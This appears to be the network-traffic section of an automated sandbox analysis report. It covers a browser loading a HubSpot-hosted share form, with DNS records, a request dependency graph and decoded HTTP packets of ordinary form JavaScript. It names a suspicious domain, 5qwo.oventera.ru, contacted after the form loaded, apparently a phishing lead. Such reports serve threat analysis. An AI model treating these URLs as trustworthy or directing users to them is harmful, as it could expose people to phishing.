Jan 10, 2025 12:04:35.185487032 CET	1.1.1.1	192.168.2.5	0xb70d	No error (0)	js.hscollectedforms.net		104.16.110.254	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.185848951 CET	1.1.1.1	192.168.2.5	0x9f70	No error (0)	js.hs-analytics.net			65	IN (0x0001)	false
Jan 10, 2025 12:04:35.185954094 CET	1.1.1.1	192.168.2.5	0x8ca7	No error (0)	js.hs-analytics.net		104.16.160.168	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.185954094 CET	1.1.1.1	192.168.2.5	0x8ca7	No error (0)	js.hs-analytics.net		104.17.175.201	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.187084913 CET	1.1.1.1	192.168.2.5	0xd368	No error (0)	js.hs-banner.com		172.64.147.16	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.187084913 CET	1.1.1.1	192.168.2.5	0xd368	No error (0)	js.hs-banner.com		104.18.40.240	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.187850952 CET	1.1.1.1	192.168.2.5	0x9333	No error (0)	js.hs-banner.com			65	IN (0x0001)	false
Jan 10, 2025 12:04:35.323986053 CET	1.1.1.1	192.168.2.5	0x240e	No error (0)	track.hubspot.com		104.16.118.116	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.323986053 CET	1.1.1.1	192.168.2.5	0x240e	No error (0)	track.hubspot.com		104.16.117.116	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.327477932 CET	1.1.1.1	192.168.2.5	0x75d2	No error (0)	track.hubspot.com			65	IN (0x0001)	false
Jan 10, 2025 12:04:35.356852055 CET	1.1.1.1	192.168.2.5	0x7500	No error (0)	js.hsleadflows.net			65	IN (0x0001)	false
Jan 10, 2025 12:04:35.356897116 CET	1.1.1.1	192.168.2.5	0xfebc	No error (0)	js.hsleadflows.net		104.18.140.17	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.356897116 CET	1.1.1.1	192.168.2.5	0xfebc	No error (0)	js.hsleadflows.net		104.18.141.17	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.356897116 CET	1.1.1.1	192.168.2.5	0xfebc	No error (0)	js.hsleadflows.net		104.18.139.17	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.356897116 CET	1.1.1.1	192.168.2.5	0xfebc	No error (0)	js.hsleadflows.net		104.18.137.17	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.356897116 CET	1.1.1.1	192.168.2.5	0xfebc	No error (0)	js.hsleadflows.net		104.18.138.17	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.435544014 CET	1.1.1.1	192.168.2.5	0x27c8	No error (0)	forms-na1.hsforms.com			65	IN (0x0001)	false
Jan 10, 2025 12:04:35.435825109 CET	1.1.1.1	192.168.2.5	0xa9c	No error (0)	forms-na1.hsforms.com		104.19.175.188	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.435825109 CET	1.1.1.1	192.168.2.5	0xa9c	No error (0)	forms-na1.hsforms.com		104.18.80.204	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.448632002 CET	1.1.1.1	192.168.2.5	0xb463	No error (0)	48528028.fs1.hubspotusercontent-na1.net			65	IN (0x0001)	false
Jan 10, 2025 12:04:35.448736906 CET	1.1.1.1	192.168.2.5	0xd7f6	No error (0)	48528028.fs1.hubspotusercontent-na1.net		104.18.41.124	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.448736906 CET	1.1.1.1	192.168.2.5	0xd7f6	No error (0)	48528028.fs1.hubspotusercontent-na1.net		172.64.146.132	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.456526041 CET	1.1.1.1	192.168.2.5	0x5bec	No error (0)	forms.hsforms.com		104.19.175.188	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.456526041 CET	1.1.1.1	192.168.2.5	0x5bec	No error (0)	forms.hsforms.com		104.18.80.204	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.456809998 CET	1.1.1.1	192.168.2.5	0xad1	No error (0)	forms.hsforms.com			65	IN (0x0001)	false
Jan 10, 2025 12:04:35.766766071 CET	1.1.1.1	192.168.2.5	0x17ea	No error (0)	forms.hscollectedforms.net		104.16.109.254	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.766766071 CET	1.1.1.1	192.168.2.5	0x17ea	No error (0)	forms.hscollectedforms.net		104.16.107.254	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.766766071 CET	1.1.1.1	192.168.2.5	0x17ea	No error (0)	forms.hscollectedforms.net		104.16.108.254	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.766766071 CET	1.1.1.1	192.168.2.5	0x17ea	No error (0)	forms.hscollectedforms.net		104.16.110.254	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.766766071 CET	1.1.1.1	192.168.2.5	0x17ea	No error (0)	forms.hscollectedforms.net		104.16.111.254	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.768274069 CET	1.1.1.1	192.168.2.5	0x6dc7	No error (0)	forms.hscollectedforms.net			65	IN (0x0001)	false
Jan 10, 2025 12:04:35.989749908 CET	1.1.1.1	192.168.2.5	0x6d6f	No error (0)	track.hubspot.com			65	IN (0x0001)	false
Jan 10, 2025 12:04:35.990247011 CET	1.1.1.1	192.168.2.5	0x215b	No error (0)	track.hubspot.com		104.16.118.116	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:35.990247011 CET	1.1.1.1	192.168.2.5	0x215b	No error (0)	track.hubspot.com		104.16.117.116	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:36.082736015 CET	1.1.1.1	192.168.2.5	0xb3a9	No error (0)	forms-na1.hsforms.com		104.19.175.188	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:36.082736015 CET	1.1.1.1	192.168.2.5	0xb3a9	No error (0)	forms-na1.hsforms.com		104.18.80.204	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:36.083022118 CET	1.1.1.1	192.168.2.5	0xf02e	No error (0)	forms-na1.hsforms.com			65	IN (0x0001)	false
Jan 10, 2025 12:04:36.087945938 CET	1.1.1.1	192.168.2.5	0x11e6	No error (0)	48528028.fs1.hubspotusercontent-na1.net			65	IN (0x0001)	false
Jan 10, 2025 12:04:36.088778973 CET	1.1.1.1	192.168.2.5	0x80df	No error (0)	48528028.fs1.hubspotusercontent-na1.net		104.18.41.124	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:36.088778973 CET	1.1.1.1	192.168.2.5	0x80df	No error (0)	48528028.fs1.hubspotusercontent-na1.net		172.64.146.132	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:36.527004957 CET	1.1.1.1	192.168.2.5	0xc5ef	No error (0)	www.google.com		142.250.186.100	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:04:36.528489113 CET	1.1.1.1	192.168.2.5	0x8ad3	No error (0)	www.google.com			65	IN (0x0001)	false
Jan 10, 2025 12:04:48.847863913 CET	1.1.1.1	192.168.2.5	0x9f2a	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 12:05:05.773087025 CET	1.1.1.1	192.168.2.5	0x287c	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 12:05:24.536592007 CET	1.1.1.1	192.168.2.5	0x2c1	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 12:05:45.441456079 CET	1.1.1.1	192.168.2.5	0x6797	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 12:06:16.894834995 CET	1.1.1.1	192.168.2.5	0x5983	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 12:06:51.684715986 CET	1.1.1.1	192.168.2.5	0xdaef	No error (0)	track.hubspot.com		104.16.118.116	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:51.684715986 CET	1.1.1.1	192.168.2.5	0xdaef	No error (0)	track.hubspot.com		104.16.117.116	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:51.685650110 CET	1.1.1.1	192.168.2.5	0x4bf6	No error (0)	track.hubspot.com			65	IN (0x0001)	false
Jan 10, 2025 12:06:52.370553017 CET	1.1.1.1	192.168.2.5	0x7c9b	No error (0)	track.hubspot.com			65	IN (0x0001)	false
Jan 10, 2025 12:06:52.370593071 CET	1.1.1.1	192.168.2.5	0xfc17	No error (0)	track.hubspot.com		104.16.118.116	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:52.370593071 CET	1.1.1.1	192.168.2.5	0xfc17	No error (0)	track.hubspot.com		104.16.117.116	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:52.464447021 CET	1.1.1.1	192.168.2.5	0x761	No error (0)	forms-na1.hsforms.com		104.19.175.188	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:52.464447021 CET	1.1.1.1	192.168.2.5	0x761	No error (0)	forms-na1.hsforms.com		104.18.80.204	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:52.465209007 CET	1.1.1.1	192.168.2.5	0xbdaf	No error (0)	forms-na1.hsforms.com			65	IN (0x0001)	false
Jan 10, 2025 12:06:52.469506025 CET	1.1.1.1	192.168.2.5	0x9589	No error (0)	forms.hsforms.com		104.19.175.188	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:52.469506025 CET	1.1.1.1	192.168.2.5	0x9589	No error (0)	forms.hsforms.com		104.18.80.204	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:52.470257044 CET	1.1.1.1	192.168.2.5	0xf12a	No error (0)	forms.hsforms.com			65	IN (0x0001)	false
Jan 10, 2025 12:06:52.535368919 CET	1.1.1.1	192.168.2.5	0xd51e	No error (0)	5qwo.oventera.ru		104.21.32.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:52.535368919 CET	1.1.1.1	192.168.2.5	0xd51e	No error (0)	5qwo.oventera.ru		104.21.112.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:52.535368919 CET	1.1.1.1	192.168.2.5	0xd51e	No error (0)	5qwo.oventera.ru		104.21.16.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:52.535368919 CET	1.1.1.1	192.168.2.5	0xd51e	No error (0)	5qwo.oventera.ru		104.21.80.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:52.535368919 CET	1.1.1.1	192.168.2.5	0xd51e	No error (0)	5qwo.oventera.ru		104.21.96.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:52.535368919 CET	1.1.1.1	192.168.2.5	0xd51e	No error (0)	5qwo.oventera.ru		104.21.64.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:52.535368919 CET	1.1.1.1	192.168.2.5	0xd51e	No error (0)	5qwo.oventera.ru		104.21.48.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:52.643996954 CET	1.1.1.1	192.168.2.5	0xf05d	No error (0)	5qwo.oventera.ru			65	IN (0x0001)	false
Jan 10, 2025 12:06:53.114294052 CET	1.1.1.1	192.168.2.5	0xbc0b	No error (0)	forms-na1.hsforms.com			65	IN (0x0001)	false
Jan 10, 2025 12:06:53.114557028 CET	1.1.1.1	192.168.2.5	0x4306	No error (0)	forms-na1.hsforms.com		104.18.80.204	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:53.114557028 CET	1.1.1.1	192.168.2.5	0x4306	No error (0)	forms-na1.hsforms.com		104.19.175.188	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:54.848762035 CET	1.1.1.1	192.168.2.5	0xdb58	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:54.848762035 CET	1.1.1.1	192.168.2.5	0xdb58	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:54.848762035 CET	1.1.1.1	192.168.2.5	0xdb58	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:54.848762035 CET	1.1.1.1	192.168.2.5	0xdb58	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:55.658296108 CET	1.1.1.1	192.168.2.5	0x976a	No error (0)	blogger.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 12:06:55.658296108 CET	1.1.1.1	192.168.2.5	0x976a	No error (0)	googlehosted.l.googleusercontent.com		216.58.206.65	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:55.658797026 CET	1.1.1.1	192.168.2.5	0x9875	No error (0)	blogger.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Jan 10, 2025 12:06:55.750581980 CET	1.1.1.1	192.168.2.5	0xe789	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:55.750581980 CET	1.1.1.1	192.168.2.5	0xe789	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:55.750581980 CET	1.1.1.1	192.168.2.5	0xe789	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:55.750581980 CET	1.1.1.1	192.168.2.5	0xe789	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:06:58.157546997 CET	1.1.1.1	192.168.2.5	0x4013	No error (0)	a.nel.cloudflare.com		35.190.80.1	A (IP address)	IN (0x0001)	false
Jan 10, 2025 12:07:02.761742115 CET	1.1.1.1	192.168.2.5	0x493	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

share.hsforms.com

https:

static.hsappstatic.net

js.hsforms.net

js.hs-scripts.com

js.hsleadflows.net

js.hs-analytics.net

js.hscollectedforms.net

js.hs-banner.com

forms.hsforms.com

forms.hscollectedforms.net

track.hubspot.com

forms-na1.hsforms.com

48528028.fs1.hubspotusercontent-na1.net

5qwo.oventera.ru

code.jquery.com

blogger.googleusercontent.com

a.nel.cloudflare.com

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49832	104.19.175.188	443	7088	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 11:04:33 UTC	688	OUT	GET /1iP-GWQvvT0CvU3TDKoL6Swsw4gs HTTP/1.1 Host: share.hsforms.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-10 11:04:33 UTC	1270	IN	HTTP/1.1 200 OK Date: Fri, 10 Jan 2025 11:04:33 GMT Content-Type: text/html; charset=utf-8 Transfer-Encoding: chunked Connection: close x-amz-replication-status: COMPLETED last-modified: Fri, 10 Jan 2025 09:41:20 UTC x-amz-server-side-encryption: AES256 x-amz-meta-ao: {"allowIFrame":"always"} x-amz-version-id: afvB3y7zEG0MEU0TYXp9TrY6e3Q3Ge8Q vary: origin x-cache: Hit from cloudfront via: 1.1 736ad67f05a9a5a8fd5ed8cba30196f4.cloudfront.net (CloudFront) x-amz-cf-pop: IAD12-P3 x-amz-cf-id: mhTc8nZgfbEfSq_Q0fx5MHrzQGwQLAkwQjqDpGNbiZscDKHpZtXfsw== Age: 1373 access-control-allow-credentials: false Cache-Control: max-age=600 x-hs-target-asset: forms-submission-pages/static-1.5640/html/share.html x-content-type-options: nosniff x-hs-cache-status: HIT x-envoy-upstream-service-time: 0 x-evy-trace-route-service-name: envoyset-translator x-evy-trace-virtual-host: all x-hubspot-correlation-id: f57e620a-2bc2-43e5-ab94-a0bd8d1dc80a x-evy-trace-served-by-pod: iad02/star-td/envoy-proxy-5695886f75-6tmsw x-evy-trace-listener: listener_https x-evy-trace-route-configuration: listener_https/all x-request-id: f57e620a-2bc2-43e5-ab94-a0bd8d1dc80a cache-tag: staticjsapp-forms-submission-pages-web-prod,staticjsapp-prod CF-Cache-Status: DYNAMIC
2025-01-10 11:04:33 UTC	584	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 5f 63 66 5f 62 6d 3d 45 4a 2e 65 4d 75 4c 68 6d 64 58 36 66 32 4c 70 64 6f 53 57 6d 6f 31 6e 71 4c 78 6a 64 66 39 65 44 58 4f 32 46 4e 36 6a 78 78 73 2d 31 37 33 36 35 30 37 30 37 33 2d 31 2e 30 2e 31 2e 31 2d 71 76 50 46 61 59 43 7a 72 32 55 4d 75 51 6c 55 34 76 5f 59 4c 5f 33 48 49 4b 78 55 55 36 61 6f 76 47 39 63 55 46 6c 35 69 50 53 6c 66 46 76 5f 42 35 55 5a 76 5f 46 2e 43 61 56 50 54 4c 6f 5a 65 79 64 66 36 31 41 4c 47 79 57 5a 5f 53 68 4c 42 41 46 69 72 51 3b 20 70 61 74 68 3d 2f 3b 20 65 78 70 69 72 65 73 3d 46 72 69 2c 20 31 30 2d 4a 61 6e 2d 32 35 20 31 31 3a 33 34 3a 33 33 20 47 4d 54 3b 20 64 6f 6d 61 69 6e 3d 2e 68 73 66 6f 72 6d 73 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 Data Ascii: Set-Cookie: __cf_bm=EJ.eMuLhmdX6f2LpdoSWmo1nqLxjdf9eDXO2FN6jxxs-1736507073-1.0.1.1-qvPFaYCzr2UMuQlU4v_YL_3HIKxUU6aovG9cUFl5iPSlfFv_B5UZv_F.CaVPTLoZeydf61ALGyWZ_ShLBAFirQ; path=/; expires=Fri, 10-Jan-25 11:34:33 GMT; domain=.hsforms.com; HttpOnly; Secure;
2025-01-10 11:04:33 UTC	1369	IN	Data Raw: 33 34 37 30 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 63 68 61 72 53 65 74 3d 22 55 54 46 2d 38 22 2f 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 65 64 67 65 2c 63 68 72 6f 6d 65 3d 31 22 2f 3e 3c 6c 69 6e 6b 20 72 65 6c 3d 22 70 72 65 63 6f 6e 6e 65 63 74 22 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 74 61 74 69 63 2e 68 73 61 70 70 73 74 61 74 69 63 2e 6e 65 74 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 61 6e 6f 6e 79 6d 6f 75 73 22 2f 3e 3c 74 69 74 6c 65 3e 46 6f 72 6d 3c 2f 74 69 74 6c 65 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 Data Ascii: 3470<!DOCTYPE html><html lang="en"><head><meta charSet="UTF-8"/><meta http-equiv="X-UA-Compatible" content="IE=edge,chrome=1"/><link rel="preconnect" href="https://static.hsappstatic.net" crossorigin="anonymous"/><title>Form</title><meta name="viewport"
2025-01-10 11:04:33 UTC	1369	IN	Data Raw: 2e 68 73 46 6f 72 6d 73 4f 6e 52 65 61 64 79 20 3d 20 5b 5d 3b 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 5f 68 73 71 20 3d 20 77 69 6e 64 6f 77 2e 5f 68 73 71 20 7c 7c 20 5b 5d 3b 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 64 69 73 61 62 6c 65 64 48 73 50 6f 70 75 70 73 20 3d 20 5b 27 41 44 53 27 2c 20 27 4c 45 41 44 46 4c 4f 57 27 2c 20 27 4c 49 56 45 5f 43 48 41 54 27 2c 20 27 46 45 45 44 42 41 43 4b 27 2c 20 27 43 41 4c 4c 53 5f 54 4f 5f 41 43 54 49 4f 4e 27 5d 3b 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 69 73 51 61 20 3d 20 69 73 51 61 3b 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 69 73 4c 6f 63 61 6c 20 3d 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 6f 73 74 6e 61 6d 65 2e 73 70 6c 69 74 28 27 2e 27 29 5b 30 5d 20 3d Data Ascii: .hsFormsOnReady = []; window._hsq = window._hsq \|\| []; window.disabledHsPopups = ['ADS', 'LEADFLOW', 'LIVE_CHAT', 'FEEDBACK', 'CALLS_TO_ACTION']; window.isQa = isQa; window.isLocal = window.location.hostname.split('.')[0] =
2025-01-10 11:04:33 UTC	1369	IN	Data Raw: 68 73 61 70 70 73 74 61 74 69 63 2e 6e 65 74 2f 66 6f 72 6d 73 2d 65 6d 62 65 64 2f 73 74 61 74 69 63 2f 62 75 6e 64 6c 65 73 2f 70 72 6f 6a 65 63 74 2d 76 33 2e 6a 73 27 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 3b 0a 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 61 70 69 48 75 62 73 70 6f 74 55 72 6c 20 3d 20 64 6f 6d 61 69 6e 42 75 69 6c 64 65 72 73 5b 27 61 70 69 2e 68 75 62 73 70 6f 74 2e 63 6f 6d 27 5d 28 29 3b 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 66 6f 72 6d 73 48 73 46 6f 72 6d 73 55 72 6c 20 3d 20 64 6f 6d 61 69 6e 42 75 69 6c 64 65 72 73 5b 27 66 6f 72 6d 73 2e 68 73 66 6f 72 6d 73 2e 63 6f 6d 27 5d 28 29 3b 0a 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6a 73 48 73 46 6f 72 6d 73 55 72 6c 20 3d 20 64 6f 6d Data Ascii: hsappstatic.net/forms-embed/static/bundles/project-v3.js' } }; window.apiHubspotUrl = domainBuilders['api.hubspot.com'](); window.formsHsFormsUrl = domainBuilders['forms.hsforms.com'](); window.jsHsFormsUrl = dom
2025-01-10 11:04:33 UTC	1369	IN	Data Raw: 61 6c 20 3f 20 6a 73 48 73 46 6f 72 6d 73 55 72 6c 20 3a 20 20 6a 73 48 73 46 6f 72 6d 73 55 72 6c 20 2b 20 27 2f 66 6f 72 6d 73 2f 65 6d 62 65 64 2f 27 20 2b 20 68 73 56 65 72 73 69 6f 6e 20 2b 20 27 2e 6a 73 27 3b 0a 20 20 20 20 20 20 20 20 73 63 72 69 70 74 4a 73 2e 61 73 79 6e 63 20 3d 20 74 72 75 65 3b 0a 20 20 20 20 20 20 20 20 73 63 72 69 70 74 4a 73 2e 64 65 66 65 72 20 3d 20 74 72 75 65 3b 0a 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 64 6e 73 50 72 65 66 65 74 63 68 4a 73 29 3b 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 2e 68 65 61 64 2e 61 70 70 65 6e 64 43 68 69 6c 64 28 64 6e 73 50 72 65 66 65 74 63 68 46 6f 72 6d 73 29 3b 0a 20 20 20 20 20 20 20 20 64 6f 63 75 6d 65 6e 74 Data Ascii: al ? jsHsFormsUrl : jsHsFormsUrl + '/forms/embed/' + hsVersion + '.js'; scriptJs.async = true; scriptJs.defer = true; document.head.appendChild(dnsPrefetchJs); document.head.appendChild(dnsPrefetchForms); document
2025-01-10 11:04:33 UTC	1369	IN	Data Raw: 70 70 6f 72 74 65 64 42 72 6f 77 73 65 72 20 3d 3d 3d 20 66 61 6c 73 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 69 66 20 28 68 61 73 48 72 65 66 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 20 3d 20 75 72 6c 54 6f 47 6f 54 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 20 3d 20 75 72 6c 54 6f 47 6f 54 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 Data Ascii: pportedBrowser === false) { if (hasHref) { window.location.href = urlToGoTo; } else { window.location = urlToGoTo; } } } } }
2025-01-10 11:04:33 UTC	1369	IN	Data Raw: 43 6f 64 65 41 74 28 69 6e 64 65 78 29 29 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 6e 65 77 20 77 69 6e 64 6f 77 2e 55 69 6e 74 38 41 72 72 61 79 28 72 65 73 75 6c 74 29 3b 0a 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 66 75 6e 63 74 69 6f 6e 20 67 65 74 56 65 72 73 69 6f 6e 46 72 6f 6d 53 79 6d 62 6f 6c 28 73 79 6d 62 6f 6c 29 20 7b 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 20 28 0a 20 20 20 20 20 20 20 20 20 20 70 61 72 73 65 49 6e 74 28 73 79 6d 62 6f 6c 2c 20 33 36 29 20 2b 0a 20 20 20 20 20 20 20 20 20 20 28 69 73 4e 61 4e 28 73 79 6d 62 6f 6c 20 2a 20 31 29 20 26 26 20 73 79 6d 62 6f 6c 20 3d 3d 3d 20 73 79 6d 62 6f 6c 2e 74 6f 55 70 70 65 72 43 61 73 65 28 29 20 3f 20 32 36 20 3a 20 30 29 0a 20 20 20 20 Data Ascii: CodeAt(index)); } return new window.Uint8Array(result); } function getVersionFromSymbol(symbol) { return ( parseInt(symbol, 36) + (isNaN(symbol * 1) && symbol === symbol.toUpperCase() ? 26 : 0)
2025-01-10 11:04:33 UTC	1369	IN	Data Raw: 72 69 6e 67 29 20 7b 0a 20 20 20 20 20 20 20 20 76 61 72 20 6c 65 67 61 63 79 55 75 69 64 20 3d 20 65 6e 63 6f 64 65 64 53 74 72 69 6e 67 2e 63 68 61 72 41 74 28 30 29 20 3d 3d 3d 20 4c 45 47 41 43 59 5f 55 55 49 44 5f 49 44 45 4e 54 49 46 49 45 52 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 6f 66 66 73 65 74 20 3d 20 6c 65 67 61 63 79 55 75 69 64 20 3f 20 32 20 3a 20 31 3b 0a 20 20 20 20 20 20 20 20 76 61 72 20 66 6f 72 6d 47 75 69 64 20 3d 20 42 36 34 54 6f 55 75 69 64 28 0a 20 20 20 20 20 20 20 20 20 20 75 6e 65 73 63 61 70 65 42 61 73 65 36 34 28 65 6e 63 6f 64 65 64 53 74 72 69 6e 67 2e 73 75 62 73 74 72 69 6e 67 28 6f 66 66 73 65 74 2c 20 32 32 20 2b 20 6f 66 66 73 65 74 29 29 0a 20 20 20 20 20 20 20 20 29 3b 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 Data Ascii: ring) { var legacyUuid = encodedString.charAt(0) === LEGACY_UUID_IDENTIFIER; var offset = legacyUuid ? 2 : 1; var formGuid = B64ToUuid( unescapeBase64(encodedString.substring(offset, 22 + offset)) ); retur
